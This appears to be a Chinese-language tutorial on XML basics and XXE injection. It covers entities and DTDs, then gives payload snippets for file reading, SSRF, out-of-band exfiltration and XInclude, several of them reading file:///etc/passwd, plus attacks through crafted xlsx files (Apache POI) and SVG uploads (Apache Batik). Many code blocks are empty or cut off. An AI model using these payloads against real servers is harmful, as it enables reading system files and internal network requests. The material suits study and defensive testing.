XML基础与XXE注入
XML基础
XML是一种被设计用来存储和传输数据的语言,叫作可扩展标记语言,通过自定义标签的形式描述数据。
XML实体
为了区分开表示数据的尖括号和表示结构的标签,在数据中用<
和>
这类预定义的XML实体来表示左右尖括号。
DTD
XML通过头部的DTD(文档类型定义)来定义文档结构,实际内容直接写在文档里的DTD叫作内部DTD
,实际内容放在外面,要通过引用加载的DTD叫作外部DTD
,二者可以在XML中混用。
自定义实体
如果预定义的XML实体不够用,就可以自定义新的XML实体:
<!DOCTYPE test [ <!ENTITY id "hosch3n" > ]>
这样就可以用&id;
表示hosch3n
这个值。
外部实体
自定义实体的实际内容不一定要写在DTD里,也可以写在外面然后通过引用加载:
<!DOCTYPE test [ <!ENTITY ext SYSTEM "http://xxx.com" > ]>
- 支持http、ftp、file等协议
XXE注入
读文件
1 |
|
SSRF
1 |
|
OAST
1 | <!ENTITY % file SYSTEM "file:///etc/passwd"> |
1 |
XInclude
- 数据在服务器端拼接进XML文档
1 | <test xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></test> |
Apache POI
- 文件上传xlsx文档
1 | # xxe.dtd |
1 | # [Content_Types].xml |
ZIP压缩后改后缀为xlsx
Apache Batik
- 文件上传SVG头像
1 | <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg> |